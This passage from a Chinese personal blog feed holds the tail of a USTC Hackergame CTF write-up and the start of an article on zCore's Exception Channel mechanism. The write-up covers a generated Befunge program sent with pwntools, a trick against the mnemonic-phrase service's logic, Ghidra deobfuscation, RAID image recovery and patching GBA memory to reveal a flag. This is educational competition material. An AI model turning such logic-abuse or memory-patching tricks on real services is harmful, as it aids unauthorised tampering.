<span class="s">" ^"</span> <span class="k">if</span> <span class="n">k</span><span class="o">==</span><span class="n">i</span> <span class="k">else</span> <span class="s">" "</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="s">" "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">16</span><span class="p">):</span>
<span class="n">put</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span><span class="n">j</span><span class="o">*</span><span class="mi">3</span><span class="o">+</span><span class="mi">5</span><span class="p">,</span><span class="mi">15</span><span class="o">+</span><span class="n">i</span><span class="p">,[</span>
<span class="s">" >$"</span><span class="o">+</span><span class="n">push4bit</span><span class="p">(</span><span class="n">j</span><span class="o">|</span><span class="n">i</span><span class="p">)</span><span class="o">+</span><span class="s">"+ ^"</span><span class="p">,</span>
<span class="s">">:"</span><span class="o">+</span><span class="n">push4bit</span><span class="p">(</span><span class="n">j</span><span class="p">)</span><span class="o">+</span><span class="s">"-!| "</span><span class="p">,</span>
<span class="s">"v < "</span><span class="p">,</span>
<span class="p">])</span>
<span class="k">pass</span>
</code></pre></div></div>
<p>同样的,如果想对程序结构有更直观的理解,以下是第 5 层生成出来的代码结构:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
>:456**-!!v
[ _$~68*-v
v <
[ $<@@@@@@@@@@@@@@@@@@@@
>:1-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:2-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:3-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:4-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:5-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:6-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:7-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:8-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
[ $<@@@@@@@@@@@@@@@@@@@@
>:9-!|@@@@@@@@@@@@@@@@@@@@
v <@@@@@@@@@@@@@@@@@@@@
</code></pre></div></div>
<p>而这是第 6 层生成出来的代码结构:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> ] <
>::44*%-12\44*%v
^v <
>$1 + ^
>:0 -!|
v <
>$0 + ^
>:1 -!|
v <
>$3 + ^
>:2 -!|
v <
>$2 + ^
>:3 -!|
v <
>$5 + ^
>:4 -!|
v <
>$4 + ^
>:5 -!|
v <
>$7 + ^
>:6 -!|
v <
>$6 + ^
>:7 -!|
v <
>$9 + ^
>:8 -!|
@@v <
@@ >$8 + ^
@@>:9 -!|
@@v <
@@ >$29++ ^
@@>:19+-!|
@@v <
@@ >$19++ ^
@@>:29+-!|
@@v <
@@ >$49++ ^
@@>:39+-!|
@@v <
@@ >$39++ ^
@@>:49+-!|
@@v <
@@ >$69++ ^
@@>:59+-!|
@@v <
</code></pre></div></div>
<p>最后在第 25 层,我们处理没有识别出操作符的情况,此时直接输出并终止:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">put</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">25</span><span class="p">,[</span>
<span class="s">""</span><span class="p">,</span>
<span class="s">">$."</span>
<span class="p">])</span>
</code></pre></div></div>
<p>之后我们只需要把生成的代码转换成输入的格式:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"prog.txt"</span><span class="p">,</span> <span class="s">'w'</span><span class="p">)</span> <span class="k">as</span> <span class="nb">file</span><span class="p">:</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
<span class="k">if</span> <span class="n">game_board</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">][</span><span class="n">k</span><span class="p">]</span> <span class="o">!=</span> <span class="s">"@"</span><span class="p">:</span>
<span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="sa">f</span><span class="s">"(</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">, </span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s">, </span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s">) -> </span><span class="si">{</span><span class="nb">ord</span><span class="p">(</span><span class="n">game_board</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">][</span><span class="n">k</span><span class="p">])</span><span class="si">}</span><span class="s"> "</span><span class="p">)</span>
<span class="nb">file</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"END"</span><span class="p">)</span>
</code></pre></div></div>
<p>然后发给服务端就好了:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">conn</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">'202.38.93.111'</span><span class="p">,</span><span class="mi">10104</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">':'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="sa">b</span><span class="s">'<id>:<token></span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">conn</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'>'</span><span class="p">))</span>
<span class="n">data</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'prog.txt'</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">conn</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">data</span><span class="o">+</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">)</span>
<span class="n">conn</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>
<p>不过其实我一开始并没有发现发现 <code class="language-plaintext highlighter-rouge">\</code> 指令的语义和原始 Befunge 不同,导致我以为这个语言不是图灵完全的,所以才采用了打表的方式。当发现 <code class="language-plaintext highlighter-rouge">\</code> 指令改了之后我已经在准备打位运算的表了。既然 <code class="language-plaintext highlighter-rouge">\</code> 指令改得这么强,不打表应该也能做,甚至只使用两个维度就能完成。不过果然还是打表能体现出三维的优势嘛。</p>
<h2 id="助记词---第一顿大餐">助记词 - 第一顿大餐</h2>
<p>延时代码在 <code class="language-plaintext highlighter-rouge">Phrase.equals</code> 上,计时代码在里 <code class="language-plaintext highlighter-rouge">Instance.post</code> 里。阅读源码可知,一次请求其实可以添加多条助记词,那么直接同时提交 32 个相同的助记词便可以获得 Flag。在 <code class="language-plaintext highlighter-rouge">Phrase.equals</code> 上加上打印调用栈的代码,可以发现是在 <code class="language-plaintext highlighter-rouge">HashSet.add</code> 中对对象进行了比较。</p>
<h2 id="超-oi-的-writeup-模拟器----果然还是逆向比较简单">超 OI 的 Writeup 模拟器 - 果然还是逆向比较简单</h2>
<p>看起来是普通的逆向题,毕竟“继续逆向 1 题即可拿到下一个 Flag”。把 Binary 拖进 ghidra,可以看到有一个函数明显是用来检查输入是否正确的。这个函数的控制流被混淆过,简单来讲就是函数中有一个不参与其他运算的变量,各种控制流跳转的时候都会根据这个变量来判断,而这个变量最终只依赖于一个常数,这样我们可以把 ghidra 反编译出的代码复制出来,把我们关心的运算替换为输出代码文本,然后把常量带进去跑一跑,然后就可以得到实际进行的检查操作。然后再逐步从输出反推到输入即可。</p>
<h2 id="阵列恢复大师---raid-0">阵列恢复大师 - RAID 0</h2>
<p>我们需要获得数据分割的单位和盘的顺序。</p>
<p>首先对所有镜像分别执行 fdisk,发现其中一个盘开头有 MBR 记录,说明它是第一个盘。 MBR 记录显示,只有一个分区,从第 1 个块开始。在同一张盘的第一个块可以找到 GPT 表,其中显示只有一个分区,从第 2048 个块开始。另外,最后一个盘的结尾应当有一份备份的 GPT 表,由此可以确定最后一块盘。观察各个盘的数据发现,除了第一个盘以外的部分前 0x20000 个比特都是空的,而这相当于 256 个块,说明数据分割的单位大概是 256 个块的约数。</p>
<p>第一个盘的第 256 个块是以 <code class="language-plaintext highlighter-rouge">XFSB</code> 开头的,搜索可得这是 XFS 文件系统的 Superblock,那么我们便可以参考 <a href="http://ftp.ntu.edu.tw/linux/utils/fs/xfs/docs/xfs_filesystem_structure.pdf" target="_blank" rel="noopener">这份 XFS 结构介绍</a> 进行分析。其中可以读出,一个文件系统块大小为 0x1000,根 inode 编号为 0x80,一共有四个 AG(Allocation Groups,分配组),每个 AG 有 0x1FBF 块,inopblog 为 3,agblklog 为 13。于是 inode 编号从低往高第 3 到 16 个二进制位是件系统块编号,所以根 inode 在第 16 个文件系统块。查看其后的 XFS AGI 结构(以 <code class="language-plaintext highlighter-rouge">XAGI</code> 开头)可得,一共只有 0x40 个 inode,整个 inode B+ 树只有一层,同时 inode B+ 树树根在第 3 个文件系统块。查看 inode 树树根可得,所有 inode 紧密排列在一起,第一个即为根 inode 。</p>
<p>由于 256 个块刚好等于 32 个文件系统块,而我们在第一个盘的 0x30000 位置找到了根 inode,所以数据分割的单位应当就是 256 个块。从这里开始,由于我们可以保证第一个 AG 的 Superblock 位置正确,我们便试着可以生成一个镜像,并试图使用 <code class="language-plaintext highlighter-rouge">xfs_db</code> 读取文件系统中虽然还不完整但是能部分解析出来的信息了。以下为生成镜像的部分脚本:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">infiles</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">disks</span><span class="p">:</span>
<span class="n">infiles</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="n">d</span><span class="p">,</span><span class="s">"rb"</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"test.img"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">outfile</span><span class="p">:</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">stripe_count</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
<span class="n">outfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">infiles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">read</span><span class="p">(</span><span class="n">stripe_size</span><span class="p">))</span>
<span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">infiles</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p>我们之前说到一共有 4 个 AG,而每一个 AG 都会有一个 Superblock。由于每个 AG 有 0x1FBF 块,所以可以得到余下三个 AG 的 Superblock 应该处于的位置。由于第一个 Superblock 在 0x100000 处,所以后面三个 Superblock 分别位于 0x20bf000、0x407e000、0x603d000,在各个盘中搜索 <code class="language-plaintext highlighter-rouge">XFSB</code> 便可以以此确定第六、四、二块盘。不过需要当心的是,磁盘内的普通文件也含有 <code class="language-plaintext highlighter-rouge">XFSB</code> ,可能是套娃了一层镜像。</p>
<p>一旦所有的 AG 的 Superblock 的位置都正确了之后,我们便可以用 <code class="language-plaintext highlighter-rouge">xfs_repair -n -v</code> 来寻找各个文件自己的错误。输出的错误信息中的 <code class="language-plaintext highlighter-rouge">block m/n</code> 这样的信息指的是 AG 编号和 AG 内的文件系统块编号。知道了出错的结构的位置和类型,便可以调整剩下三个盘的顺序进行修复,如此便可以得到所有盘的顺序。我实际使用的是引用计数 B+ 数的位置。是不得不说,<code class="language-plaintext highlighter-rouge">xfsprogs</code> 的报错信息还是很不友好的。</p>
<p>重新生成镜像,检查完文件系统之后,我们便可以取出分区并挂载了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dd if=test.img of=test-inner.img bs=512 count=260063 skip=2048
sudo kpartx -av test-inner.img
sudo lsblk -f
sudo mount /dev/loop0 /mnt/raid0
</code></pre></div></div>
<p>之后如题目要求执行脚本就可以拿到 Flag。</p>
<h2 id="阵列恢复大师---raid-5">阵列恢复大师 - RAID 5</h2>
<p>这次除了数据分割的单位、盘的顺序以外,我们还需要获得阵列内的数据排布方式。毕竟 RAID 5 的数据有四种不同的排布方式(<a href="http://www.reclaime-pro.com/posters/raid-layouts.pdf" target="_blank" rel="noopener">参考这个图示</a>)。</p>
<p>首先同样查看各个盘开头的开头,发现其中两个盘开头有 MBR 和 GPT 表,那么他们其中一个存放有第一块数据,另一个存放有第一块校验位。这次我们先查看各个盘的结尾,寻找备份 GPT 表,发现另外两个完全不同的盘结尾有备份 GPT 表,那么他们其中一个存放有最后一块数据,另一个存放有最后一块校验位。那么,由于在 Left asymmetric 的数据排布方式中,最后一块盘一定存放了第一块校验位,以及最后一块数据和最后一块校验位之一,所以可以直接排除这种情况。</p>
<p>这次 GPT 表同样显示只有一个分区,从第 2048 个块开始。那么我们考虑各个盘的 0x40000 位置,虽然没有 XFSB 这样明显的表记,但是很幸运地被我猜到了其中一个开头有 MBR 和 GPT 表的盘和另一个盘的 0x40400 位置有 EXT4 的 superblock,那么我们便可以参考 <a href="https://www.kernel.org/doc/html/latest/filesystems/ext4/index.html" target="_blank" rel="noopener">这份 EXT4 结构介绍</a> 进行分析。鉴于 EXT4 的 superblock 之前会有 1024 比特的预留位置,所以数据分割的单位大概是 512 个块的约数。比对 superblock 中记载的文件系统块数量和 GPT 表中的文件系统块数量,可以得知开头没有 GPT 表的那个盘上的是正确的 superblock。在 EXT4 的 superblock 中记载了一个文件系统块大小为 1024 字节(s_log_block_size 为 0),而每个 block group 有 8192 个文件系统块,以及 2032 个 inode。查看第一个 block group descriptors 的内容,发现第一个 block group 的 block bitmap 位于第 259 个文件系统块处。而那之前的文件系统块应当是未使用的文件系统块,但是可以发现,这些未使用的文件系统块开头不知为何似乎记录了当前块的序号。根据这些未使用的文件系统块的位置,我们可以确定数据分割的单位为 0x10000 比特,也即 128 个块。而由第 256 个文件系统块的位置可知,阵列的数据排布方式为 Left symmetric。再根据这些文件系统块的分布我们便能知道盘的顺序。这样我们便可以生成镜像原来的镜像了,以下为部分脚本:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">infiles</span><span class="o">=</span><span class="p">[]</span>
<span class="k">for</span> <span class="n">d</span> <span class="ow">in</span> <span class="n">disks</span><span class="p">:</span>
<span class="n">infiles</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="n">d</span><span class="p">,</span><span class="s">"rb"</span><span class="p">))</span>
<span class="k">with</span> <span class="nb">open</span><span class="p">(</span><span class="s">"test.img"</span><span class="p">,</span><span class="s">"wb"</span><span class="p">)</span> <span class="k">as</span> <span class="n">outfile</span><span class="p">:</span>
<span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="n">stripe_count</span><span class="p">):</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">4</span><span class="p">):</span>
<span class="n">outfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">infiles</span><span class="p">[(</span><span class="n">i</span><span class="o">-</span><span class="n">k</span><span class="p">)</span><span class="o">%</span><span class="mi">5</span><span class="p">].</span><span class="n">read</span><span class="p">(</span><span class="n">stripe_size</span><span class="p">))</span>
<span class="n">infiles</span><span class="p">[(</span><span class="mi">4</span><span class="o">-</span><span class="n">k</span><span class="p">)</span><span class="o">%</span><span class="mi">5</span><span class="p">].</span><span class="n">seek</span><span class="p">(</span><span class="n">stripe_size</span><span class="p">,</span><span class="mi">1</span><span class="p">)</span>
<span class="k">for</span> <span class="n">f</span> <span class="ow">in</span> <span class="n">infiles</span><span class="p">:</span>
<span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p>检查完文件系统之后,我们便可以取出分区并挂载了:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dd if=test.img of=test-inner.img bs=512 count=260063 skip=2048
sudo kpartx -av test-inner.img
sudo lsblk -f
sudo mount /dev/loop0 /mnt/raid0
</code></pre></div></div>
<p>同样地,之后如题目要求执行脚本就可以拿到 Flag。</p>
<h2 id="卷王与野生的-gpa">卷王与野生的 GPA</h2>
<p>好耶,是 GBA。从小学的时候我就开始用 GBA 模拟器打游戏了。</p>
<p>我们首先在 ghidra 中打开随附的 elf 文件,可以看到出题人贴心地提供了函数符号等信息。然后打开 Visual Boy Advance 启动 GBA 游戏。虽然以前玩游戏的时候没用到,但是 Visual Boy Advance 提供了强大的调试功能,你可以查看 CPU、内存、图形单元等的状态,而且你还可以直接连 gdb 进行调试。当然,这次我们只需要在 Visual Boy Advance 内部修改内存就够了。</p>
<p>首先,可以看到 <code class="language-plaintext highlighter-rouge">main</code> 函数中,程序会反复检查全局变量 <code class="language-plaintext highlighter-rouge">ball</code> 的值并,不为 0 时才会进行下一步操作,否则只会不停获取按键。我们直接修改对应的内存值,然后就可以进入有球可以扔的分支了。然而,这并没有什么用,代码写死了你是抓不到 GPA 的。</p>
<p>其次,可以发现有一个可疑的 <code class="language-plaintext highlighter-rouge">decrypt</code> 函数从来没有被调用过。和 <code class="language-plaintext highlighter-rouge">showtext</code> 等函数比对后可以发现这个函数可能会在屏幕上显示一张图。我们直接修改内存,把 <code class="language-plaintext highlighter-rouge">main</code> 函数里面那个循环里面的调用获取按键的 <code class="language-plaintext highlighter-rouge">getkey</code> 函数的指令直接改为调用 <code class="language-plaintext highlighter-rouge">decrypt</code> 函数的指令,然后立刻就能显示出 Flag 了。</p>
<p>不过看了官方题解之后才发现原来还藏了一些别的东西……</p>
<h2 id="关于其他未解出的题目">关于其他未解出的题目</h2>
<p>以上就是我所有解出的题目的 Writeup 了。这里我再大致评论一下我没解出的题目:</p>
<ul>
<li>赛博厨房:注意到了实际上菜谱是完全依赖于已经记住的程序的哈希的,事实上由于题目前端有 sourcemap,可以直接得到具体的 Hash 过程。虽然想到了需要碰撞,但是由于看到是 SHA256 所以感觉不太会有高效的碰撞方法,所以放弃了。看了题解之后才知道原来还可以用地上的盘子传递信息。</li>
<li>灯,等灯等灯:第一小问应当是解线性方程组就可以了,然而万恶的出题人居然用 Dart 和 Flutter 写前端,导致获取预期输出和自动点击比较麻烦,所以最后没做。(出题人提到说可以直接调用提交接口,然而我怎么知道提交接口在哪里呢?)至于后两问,那就是我最不擅长的机器学习相关内容了,总之还是学习一个。</li>
<li>只读文件系统:比赛时因为解题人数少根本没看这个题。现在看来还是并没有那么困难的。</li>
<li>一石二鸟:比赛时同样因为解题人数少根本没看这个题。原来是 Haskell 相关的题啊,以后一定要找个机会学学 Haskell。至于实际的 pwn 过程,总之还是学习了。</li>
<li>链上预言家:是我另一个最不擅长的区块链相关内容。虽然不是很懂,但是看题解大概还是能看出一点感觉来的。</li>
<li>助记词:想到了需要构造哈希碰撞,但是不太了解 Java 的 Hash 方法的具体实现所以放弃了。不过直接硬找碰撞只需要半小时是完全没有想到的。</li>
<li>Co-Program:因为感觉会很麻烦所以直接放弃了。原来第一问可以用 Z3 做啊,以前在编译原理专题训练的课上还用过这玩意儿呢。至于第二问,确实是听说过有程序生成这回事,不过可以直接用现成工具是没想到的。学习了。</li>
<li>密码生成器:用 ghidra 打开之后一头雾水,原来果然是加壳了。不过去壳之后的部分也很复杂,但是倒也不是完全没有希望。最后结果上果然还是密码生成器的生成结果只依赖于当前时间。总之下次遇到这种二进制还是应该想一想有没有办法检测壳的类型并去壳。</li>
<li>外星人的音游掌机:虽然以前在计算机组成原理课上造 CPU 的时候接触过 FPGA,但是没有去找对应的逆向工具链的,也没有想到在这些工具的帮助下这个题其实可以这么简单。我完全理解了。</li>
<li>fzuu:很复杂。从 Fuzz 到定位问题到利用需要花费比较大的精力,但是总之还是学习了。</li>
<li>Make a wish:看了这个题解,我大受震撼。最后果然只有第一名做出来了这个题。不过还是希望大家有机会尝试一下 NetHack,至于我嘛,Steam 库里还有一堆 Rougelite 要打呢。</li>
<li>超 OI 的 Writeup 模拟器:如果给我足够多的时间,第二个 Flag 大概是可以手动解出来的,但是果然还是应该自动化一点。大概理解了自动化分析是个什么流程。</li>
</ul>
<h2 id="总结">总结</h2>
<p>不得不说,今年的 BPC 还是比去年要强很多的,甚至拿到了 15 名的好成绩,一共拿了 4850/9450 分,我都不知道我还可以这么强。在做题的过程中也学到了一些新的有趣玩意儿。明年有空一定还来。</p>benpigchu题图是本次 USTC Hackergame 我的题目完成情况为 zCore 实现 Exception Channel 机制2020-08-14T06:41:05+00:002020-08-14T06:41:05+00:00http://benpigchu.github.io/pikanote/article/zcore-exception-channel<blockquote>
<p>本文同时也在 <a href="https://rcore-os.github.io/blog/2020/08/13/zcore-exception-channel/" target="_blank" rel="noopener">rcore-os blog</a> 发布</p>
</blockquote>
<p><a href="https://github.com/rcore-os/zCore" target="_blank" rel="noopener">zCore</a> 是我校同学用 Rust 实现的一个可以替代 Fuchsia 的 zircon 内核使用的一个微内核架构的操作系统内核。关于 zCore 的更详细介绍可以在 <a href="https://zhuanlan.zhihu.com/p/137733625" target="_blank" rel="noopener">这篇文章中</a> 看到。</p>
<p>最近我也参与进了 zCore 的开发,为其实现了 zircon 的 Exception Channel 机制。下面来介绍一下 Exception Channel 机制,以及这套机制在 zCore 中的实现。</p>
<h2 id="exception-channel-机制是什么">Exception Channel 机制是什么</h2>
<p>在 zircon 中, Exception channel 机制被用来让用户程序能够处理其他用户程序(或者自己)在运行中产生的异常,具体的介绍可以在 <a href="https://fuchsia.dev/fuchsia-src/concepts/kernel/exceptions" target="_blank" rel="noopener">Fuchsia 的文档</a> 中看到。接下来让我们对 Exception channel 机制作一个简单的介绍。</p>
<h3 id="如何处理异常">如何处理异常</h3>
<p>对于用户程序而言,要想处理其他用户程序产生的异常,首先要能操作那些用户程序对应的内核对象。在 zircon 中,我们用 <a href="https://fuchsia.dev/fuchsia-src/reference/kernel_objects/thread" target="_blank" rel="noopener">Thread</a>、<a href="https://fuchsia.dev/fuchsia-src/reference/kernel_objects/process" target="_blank" rel="noopener">Process</a>、<a href="https://fuchsia.dev/fuchsia-src/reference/kernel_objects/job" target="_blank" rel="noopener">Job</a> 这三个层次的任务(也就是 <a href="https://fuchsia.dev/fuchsia-src/reference/kernel_objects/task" target="_blank" rel="noopener">Task</a>)管理用户程序的运行。我们都知道 Thread 也就是线程是运算调度的最小单位,Process 也就是进程是内存等资源分配的最小单位,而 zircon 中的 Job 则用于进行一组进程的权限控制和资源管理,这与 Linux 的 <a href="https://man7.org/linux/man-pages/man7/cgroups.7.html" target="_blank" rel="noopener">cgroups</a> 类似。</p>
<p>有了要处理异常的 Task,就可以从这个 Task 上建立 Exception Channel 了。用户可以通过调用 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/task_create_exception_channel" target="_blank" rel="noopener">zx_task_create_exception_channel</a> 这个系统调用来为 Task 创建 Exception Channel。Exception Channel 有两种:普通的以及调试用的。Thread 只有普通的 Exception Channel ,而 Process 和 Job 两者都有。对于每个 Task,每种 Exception Channel 同时最多只能有一个。</p>
<p>现在我们拿到 Exception Channel 了。 Exception Channel 顾名思义就是个 <a href="https://fuchsia.dev/fuchsia-src/reference/kernel_objects/channel" target="_blank" rel="noopener">Channel</a>。在 zircon 中 Channel 用于进行进程间通信,它除了传递数据以外它还能传递内核对象,这一点与 <a href="https://www.man7.org/linux/man-pages/man7/unix.7.html" target="_blank" rel="noopener">UNIX domain socket</a> 类似。对于 Exception Channel , Channel 的另一端由内核控制,当对应的任务产生异常时,内核向会向 Exception Channel 内发送异常的简要信息,以及一个表示异常的 Exception 内核对象。</p>
<p>现在我们拿到了 Exception 内核对象,就可以进行异常处理了。我们可以通过 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/exception_get_thread" target="_blank" rel="noopener">zx_exception_get_thread</a>、<a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/exception_get_process" target="_blank" rel="noopener">zx_exception_get_process</a> 系统调用获取具体产生异常的进程和线程,这时我们就可以</p>
<ul>
<li>通过 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/process_read_memory" target="_blank" rel="noopener">zx_process_read_memory</a>、<a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/process_write_memory" target="_blank" rel="noopener">zx_process_write_memory</a> 系统调用读写进程的内存</li>
<li>通过 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/thread_read_state" target="_blank" rel="noopener">zx_thread_read_state</a>、<a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/thread_write_state" target="_blank" rel="noopener">thread_write_state</a> 系统调用读写线程的寄存器状态</li>
<li>直接使用 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/task_kill" target="_blank" rel="noopener">zx_task_kill</a> 结束线程或进程</li>
</ul>
<p>如果我们已经成功完成了异常处理,我们应当使用 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_set_property" target="_blank" rel="noopener">zx_object_set_property</a> 系统调用将 Exception 内核对象的 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_get_property#zx_prop_exception_state" target="_blank" rel="noopener">ZX_PROP_EXCEPTION_STATE</a> 属性设置为已解决异常。如果发现自己无法解决异常便无需进行此操作。接下来只需使用 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/handle_close" target="_blank" rel="noopener">zx_handle_close</a> 系统调用等方式消除对 Exception 内核对象的引用,这样就完成了异常的处理。此后异常要么传递给下一个 Exception Channel ,要么直接由内核进行兜底处理。</p>
<p>另外对于 Process 上的调试用 Exception Channel ,从这个 Channel 收到的 Exception 内核对象可以用 zx_object_set_property 系统调用将 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_get_property#zx_prop_exception_state" target="_blank" rel="noopener">ZX_PROP_EXCEPTION_STRATEGY</a> 属性设置为允许第二次机会,这样就能够在尝试使用 Thread 和 Process 上的普通 Exception Channel 无法解决异常的情况下再次收到异常再进行处理。当然,还可以用 <a href="https://fuchsia.dev/fuchsia-src/reference/syscalls/object_get_property" target="_blank" rel="noopener">zx_object_get_property</a> 读取这个属性,以次得知得知 Process 上的调试用 Exception Channel 会不会有机会再次收到这个异常,以及是否确实是在Process 上的调试用 Exception Channel 的第二次机会中收到这个异常的。</p>
<h3 id="如何抛出异常">如何抛出异常</h3>
<p>以上我们介绍了如何使用 Exception Channel 机制处理异常。接下来我们介绍一下异常是如何产生的,以及产生异常的线程是什么行为。</p>
<p>线程可以产生两种异常:硬件直接产生的异常和内核生成的异常。前者由 CPU 异常中断产生,而后者由内核生成。由 CPU 产生的异常就是大家都熟悉的页错误、指令无法解析等异常中断,而内核产生的异常则有系统调用时出的触犯权限限制的异常和用于调试的 task 生命周期相关的异常(包括线程的启动与结束,以及进程的启动)。不同的 Exception Channel 可以接受的异常的类型也有不同,具体来讲:</p>
<ul>
<li>CPU 硬件产生的异常和触犯权限限制的异常这两种普通的异常可以被 Thread 和 Process 上的 Exception Channel,以及 Job 上的普通 Exception Channel 收到(不包含 Job 上的)。这些 Exception Channel 按一定的顺序依次试图解决异常,直到异常被在被发送到某个 Exception Channel 后被解决,或者线程被杀死,再或者最终无人成功处理时由内核处理。具体的顺序为:
<ul>
<li>Process 上的调试用 Exception Channel</li>
<li>Thread 上的普通 Exception Channel</li>
<li>Process 上的普通 Exception Channel</li>
<li>如果,Exception 对象的 ZX_PROP_EXCEPTION_STRATEGY 属性被设置为了允许第二次机会, Process 上的调试用 Exception Channel 此时会再次收到异常</li>
<li>Job 上的普通 Exception Channel</li>
<li>Job 的祖先 Job 上的的普通 Exception Channel,并以此类推</li>
</ul>
</li>
<li>对于线程启动与结束的异常,只有 Process 上的调试用 Exception Channel 能收到一次</li>
<li>对于进程的启动,只有 Process 的各个祖先 Job 中能收到异常的最接近叶子节点的 Job 上的调试用 Exception Channel 能收到异常</li>
</ul>
<p>如果异常最终没能被处理,对于 CPU 产生的异常应当立即结束进程,对于触犯权限限制的异常视权限设置决定是否立即结束进程,而对于其他类型异常直接继续执行。</p>
